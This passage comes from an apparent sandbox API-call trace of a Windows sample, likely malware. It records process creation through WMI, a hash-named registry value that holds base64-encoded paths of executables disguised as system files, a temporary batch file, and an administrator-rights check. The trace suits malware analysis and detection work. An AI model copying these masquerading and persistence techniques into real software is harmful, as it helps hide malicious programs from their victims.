pType=0x2a15b20*=13, plFlavor=0x2a15b24*=32) returned 0x0 [0090.941] IWbemClassObject:Get (in: This=0x1bf47390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15b20*=13, plFlavor=0x2a15b24*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15b20*=13, plFlavor=0x2a15b24*=32) returned 0x0 [0090.941] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11fc720) returned 0x0 [0090.941] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0090.941] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0090.943] IUnknown:AddRef (This=0x11fc720) returned 0x3 [0090.943] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0090.943] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0090.943] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11fc728) returned 0x0 [0090.943] IMarshal:GetUnmarshalClass (in: This=0x11fc728, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0090.943] IUnknown:Release (This=0x11fc728) returned 0x3 [0090.943] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0090.943] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0090.944] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0090.944] IUnknown:Release (This=0x11fc720) returned 0x2 [0090.944] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0090.944] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0090.944] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0090.944] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0090.944] IUnknown:QueryInterface (in: This=0x11fc720, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0090.944] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0090.944] IUnknown:AddRef (This=0x11fc720) returned 0x3 [0090.944] IWbemClassObject:Put (This=0x1bf47390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11fc720, varVal2=0x0), Type=0) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0090.944] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0090.945] IWbemServices:ExecMethod (in: This=0x1bea7e60, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf47390, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1c0377a0, ppCallResult=0x0) returned 0x0 [0091.324] IWbemClassObject:Get (in: This=0x1c0377a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15e38*=0, plFlavor=0x2a15e3c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x974, varVal2=0x0), pType=0x2a15e38*=19, plFlavor=0x2a15e3c*=0) returned 0x0 [0091.324] IWbemClassObject:Get (in: This=0x1c0377a0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a15e38*=19, plFlavor=0x2a15e3c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x974, varVal2=0x0), pType=0x2a15e38*=19, plFlavor=0x2a15e3c*=0) returned 0x0 [0092.307] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\8011dc126840483ed9c0084b13950753dfc87ddf", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b2fdf18 | out: phkResult=0x1b2fdf18*=0x0) returned 0x2 [0092.308] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\8011dc126840483ed9c0084b13950753dfc87ddf", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1b2fdf70, lpdwDisposition=0x1b2fe058 | out: phkResult=0x1b2fdf70*=0x238, lpdwDisposition=0x1b2fe058*=0x1) returned 0x0 [0092.365] RegQueryValueExW (in: hKey=0x238, lpValueName="e5874754f93e99dbf63f048400ee99f0cdc872b9", lpReserved=0x0, lpType=0x1b2fe018, lpData=0x0, lpcbData=0x1b2fe010*=0x0 | out: lpType=0x1b2fe018*=0x0, lpData=0x0, lpcbData=0x1b2fe010*=0x0) returned 0x2 [0092.365] RegSetValueExW (in: hKey=0x238, lpValueName="e5874754f93e99dbf63f048400ee99f0cdc872b9", Reserved=0x0, dwType=0x1, lpData="WyJDOlxcaHlwZXJXaW5ob3N0XFxibG9ja2NvbnRhaW5lclByb3ZpZGVyLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxXaW5kb3dzIFNpZGViYXJcXGNzcnNzLmV4ZSIsIkM6XFxSZWNvdmVyeVxcZDMyN2Q1YzItNzE0Ny0xMWViLTk4NjItZDczMWM1YWFhN2E5XFxzZXJ2aWNlcy5leGUiLCJDOlxcQm9vdFxcaHUtSFVcXGJpdGtpbmV4LmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxNaWNyb3NvZnQgU1FMIFNlcnZlclxcMTEwXFxTaGFyZWRcXGNob2ljZS5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcV2luZG93c1Bvd2VyU2hlbGxcXE1vZHVsZXNcXFBvd2VyU2hlbGxHZXRcXDEuMC4wLjFcXGVuLVVTXFx5YWhvb21lc3Nlbmdlci5leGUiLCJDOlxcQm9vdFxcY3MtQ1pcXGNzcnNzLmV4ZSIsIkM6XFxoeXBlcldpbmhvc3RcXGF1ZGlvZGcuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXNcXE1pY3Jvc29mdCBBbmFseXNpcyBTZXJ2aWNlc1xcQVMgT0xFREJcXGNvdW50cnl5b3UuZXhlIiwiQzpcXEJvb3RcXGZpLUZJXFxzbXNzLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxJbnRlcm5ldCBFeHBsb3JlclxcU0lHTlVQXFxkaWUuZXhlIiwiQzpcXFdpbmRvd3NcXFByZWZldGNoXFxSZWFkeUJvb3RcXHdpbnNjcC5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTYwMDAwLTAwRTEtMDQwOS0xMDAwLTAwMDAwMDBGRjFDRX0tQ1xcY2VudHJhbGNyZWRpdGNhcmQuZXhlIiwiQzpcXEJvb3RcXGZyLUZSXFxsc20uZXhlIiwiQzpcXFVzZXJzXFxBbGwgVXNlcnNcXEFwcGxpY2F0aW9uIERhdGFcXGZwb3MuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFJlZmVyZW5jZSBBc3NlbWJsaWVzXFxNaWNyb3NvZnRcXFdtaVBydlNFLmV4ZSIsIkM6XFxCb290XFx6aC1DTlxcb21uaXBvcy5leGUiXQ==", cbData=0x9aa | out: lpData="WyJDOlxcaHlwZXJXaW5ob3N0XFxibG9ja2NvbnRhaW5lclByb3ZpZGVyLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxXaW5kb3dzIFNpZGViYXJcXGNzcnNzLmV4ZSIsIkM6XFxSZWNvdmVyeVxcZDMyN2Q1YzItNzE0Ny0xMWViLTk4NjItZDczMWM1YWFhN2E5XFxzZXJ2aWNlcy5leGUiLCJDOlxcQm9vdFxcaHUtSFVcXGJpdGtpbmV4LmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxNaWNyb3NvZnQgU1FMIFNlcnZlclxcMTEwXFxTaGFyZWRcXGNob2ljZS5leGUiLCJDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcV2luZG93c1Bvd2VyU2hlbGxcXE1vZHVsZXNcXFBvd2VyU2hlbGxHZXRcXDEuMC4wLjFcXGVuLVVTXFx5YWhvb21lc3Nlbmdlci5leGUiLCJDOlxcQm9vdFxcY3MtQ1pcXGNzcnNzLmV4ZSIsIkM6XFxoeXBlcldpbmhvc3RcXGF1ZGlvZGcuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXNcXE1pY3Jvc29mdCBBbmFseXNpcyBTZXJ2aWNlc1xcQVMgT0xFREJcXGNvdW50cnl5b3UuZXhlIiwiQzpcXEJvb3RcXGZpLUZJXFxzbXNzLmV4ZSIsIkM6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxJbnRlcm5ldCBFeHBsb3JlclxcU0lHTlVQXFxkaWUuZXhlIiwiQzpcXFdpbmRvd3NcXFByZWZldGNoXFxSZWFkeUJvb3RcXHdpbnNjcC5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTYwMDAwLTAwRTEtMDQwOS0xMDAwLTAwMDAwMDBGRjFDRX0tQ1xcY2VudHJhbGNyZWRpdGNhcmQuZXhlIiwiQzpcXEJvb3RcXGZyLUZSXFxsc20uZXhlIiwiQzpcXFVzZXJzXFxBbGwgVXNlcnNcXEFwcGxpY2F0aW9uIERhdGFcXGZwb3MuZXhlIiwiQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFJlZmVyZW5jZSBBc3NlbWJsaWVzXFxNaWNyb3NvZnRcXFdtaVBydlNFLmV4ZSIsIkM6XFxCb290XFx6aC1DTlxcb21uaXBvcy5leGUiXQ==") returned 0x0 [0092.372] RegCloseKey (hKey=0x238) returned 0x0 [0092.435] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b2fdc10, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0092.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde28) returned 1 [0092.435] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe"), fInfoLevelId=0x0, lpFileInformation=0x1b2fe150 | out: lpFileInformation=0x1b2fe150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5221d480, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x5221d480, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x9fda0f2c, ftLastWriteTime.dwHighDateTime=0x1d9eaea, nFileSizeHigh=0x0, nFileSizeLow=0xd0c00)) returned 1 [0092.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fddd8) returned 1 [0092.453] CoTaskMemAlloc (cb=0x20c) returned 0x1161ad0 [0092.453] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1161ad0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0092.453] CoTaskMemFree (pv=0x1161ad0) [0092.455] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b2fd990, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0092.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b2fd9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0092.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g", nBufferLength=0x105, lpBuffer=0x1b2fd750, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g", lpFilePart=0x0) returned 0x30 [0092.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc68) returned 1 [0092.459] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\wvakvh0d9g"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x238 [0092.461] GetFileType (hFile=0x238) returned 0x1 [0092.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbd8) returned 1 [0092.461] GetFileType (hFile=0x238) returned 0x1 [0092.462] WriteFile (in: hFile=0x238, lpBuffer=0x2a23100*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1b2fdca8, lpOverlapped=0x0 | out: lpBuffer=0x2a23100*, lpNumberOfBytesWritten=0x1b2fdca8*=0x19, lpOverlapped=0x0) returned 1 [0092.463] CloseHandle (hObject=0x238) returned 1 [0092.465] CoTaskMemAlloc (cb=0x20c) returned 0x1161ad0 [0092.465] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1161ad0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0092.465] CoTaskMemFree (pv=0x1161ad0) [0092.465] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b2fd990, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0092.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b2fd9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0092.466] CoTaskMemAlloc (cb=0x20c) returned 0x1161ad0 [0092.466] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1161ad0 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0092.466] CoTaskMemFree (pv=0x1161ad0) [0092.466] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x1b2fd990, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0092.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1b2fd9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0092.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g", nBufferLength=0x105, lpBuffer=0x1b2fd9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g", lpFilePart=0x0) returned 0x30 [0092.471] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\WVAKVH0D9g" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\wvakvh0d9g")) returned 1 [0092.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", nBufferLength=0x105, lpBuffer=0x1b2fd9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat", lpFilePart=0x0) returned 0x34 [0092.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdeb8) returned 1 [0092.473] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dtIah84Nm9.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dtiah84nm9.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x238 [0092.474] GetFileType (hFile=0x238) returned 0x1 [0092.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fde28) returned 1 [0092.474] GetFileType (hFile=0x238) returned 0x1 [0092.475] WriteFile (in: hFile=0x238, lpBuffer=0x2a27478*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x1b2fdef8, lpOverlapped=0x0 | out: lpBuffer=0x2a27478*, lpNumberOfBytesWritten=0x1b2fdef8*=0xc4, lpOverlapped=0x0) returned 1 [0092.476] CloseHandle (hObject=0x238) returned 1 [0092.491] GetCurrentProcess () returned 0xffffffffffffffff [0092.491] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b2fdf88 | out: TokenHandle=0x1b2fdf88*=0x238) returned 1 [0092.502] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1b2fdfe8 | out: TokenInformation=0x0, ReturnLength=0x1b2fdfe8) returned 0 [0092.503] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x11fa030 [0092.503] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x8, TokenInformation=0x11fa030, TokenInformationLength=0x4, ReturnLength=0x1b2fdfe8 | out: TokenInformation=0x11fa030, ReturnLength=0x1b2fdfe8) returned 1 [0092.504] LocalFree (hMem=0x11fa030) returned 0x0 [0092.505] DuplicateTokenEx (in: hExistingToken=0x238, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x1b2fe048 | out: phNewToken=0x1b2fe048*=0x234) returned 1 [0092.506] CheckTokenMembership (in: TokenHandle=0x234, SidToCheck=0x2a28c58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1b2fe050 | out: IsMember=0x1b2fe050) returned 1 [0092.506] CloseHandle (hObject=0x234) returned 1 [0092.513] LocalAlloc (uFlags=0x0, uBytes=0x6c) returned 0x11884a0 [0092.513] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x1bfa85f0 [0094.057] LocalFree (hMem=0x11884a0) returned 0x0 [0094.057] LocalFree (hMem=0x1bfa85f0) returned 0x0 [0094.058] CoGetContextToken (in: pToken=0x1b2fdf30 | out: pToken=0x1b2fdf30) returned 0x0 [0094.058] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fdf68 | out: ppvObject=0x1b2fdf68*=0x111f638) returned 0x0 [0094.058] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b2fe040 | out: pThreadType=0x1b2fe040*=0) returned 0x0 [0094.058] IUnknown:Release (This=0x111f638) returned 0x1 [0094.059] CoGetContextToken (in: pToken=0x1b2fd9d0 | out: pToken=0x1b2fd9d0) returned 0x0 [0094.059] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fda08 | out: ppvObject=0x1b2fda08*=0x111f638) returned 0x0 [0094.059] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b2fda78 | out: pThreadType=0x1b2fda78*=0) returned 0x0 [0094.059] IUnknown:Release (This=0x111f638) returned 0x1 [0094.060] CoGetContextToken (in: pToken=0x1b2fd9d0 | out: pToken=0x1b2fd9d0) returned 0x0 [0094.060] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fda08 | out: ppvObject=0x1b2fda08*=0x111f638) returned 0x0 [0094.060] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b2fda78 | out: pThreadType=0x1b2fda78*=0) returned 0x0 [0094.060] IUnknown:Release (This=0x111f638) returned 0x1 [0094.106] CoGetContextToken (in: pToken=0x1b2fd9d0 | out: pToken=0x1b2fd9d0) returned 0x0 [0094.106] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fda08 | out: ppvObject=0x1b2fda08*=0x111f638) returned 0x0 [0094.106] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b2fda78 | out: pThreadType=0x1b2fda78*=0) returned 0x0 [0094.106] IUnknown:Release (This=0x111f638) returned 0x1 [0094.109] CoGetContextToken (in: pToken=0x1b2fd9f0 | out: pToken=0x1b2fd9f0) returned 0x0 [0094.109] IUnknown:QueryInterface (in: This=0x111f620, riid=0x7fef1d13d58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fda28 | out: ppvObject=0x1b2fda28*=0x111f638) returned 0x0 [0094.109] IComThreadingInfo:GetCurrentThreadType (in: This=0x111f638, pThreadType=0x1b2fda98 | out: pThreadType=0x1b2fda98*=0) returned 0x0 [0094.109] IUnknown:Release (This=0x111f638) returned 0x1 Thread: id = 21 os_tid = 0xea0 Thread: id = 22 os_tid = 0xea4 Thread: id = 23 os_tid = 0xea8 Thread: id = 24 os_tid = 0xeac Thread: id = 25 os_tid = 0xeb0 [0049.478] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0049.489] CoGetContextToken (in: pToken=0x1bd8f7a0 | out: pToken=0x1bd8f7a0) returned 0x0 [0049.489] CObjectContext::QueryInterface () returned 0x0 [0049.489] CObjectContext::GetCurrentThreadType () returned 0x0 [0049.489] Release () returned 0x0 [0049.489] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0049.489] CoUninitialize () [0050.823] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x24c [0050.825] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x250 [0050.847] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1bd8ce18 | out: phkResult=0x1bd8ce18*=0x258) returned 0x0 [0050.849] RegQueryValueExW (in: hKey=0x258, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1bd8ce68, lpData=0x0, lpcbData=0x1bd8ce60*=0x0 | out: lpType=0x1bd8ce68*=0x1, lpData=0x0, lpcbData=0x1bd8ce60*=0xe) returned 0x0 [0050.849] RegQueryValueExW (in: hKey=0x258, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1bd8ce68, lpData=0x28f0b68, lpcbData=0x1bd8ce60*=0xe | out: lpType=0x1bd8ce68*=0x1, lpData="Client", lpcbData=0x1bd8ce60*=0xe) returned 0x0 [0050.851] RegCloseKey (hKey=0x258) returned 0x0 [0051.260] GetCurrentProcess () returned 0xffffffffffffffff [0051.260] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1bd8c7d8 | out: TokenHandle=0x1bd8c7d8*=0x258) returned 1 [0051.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, 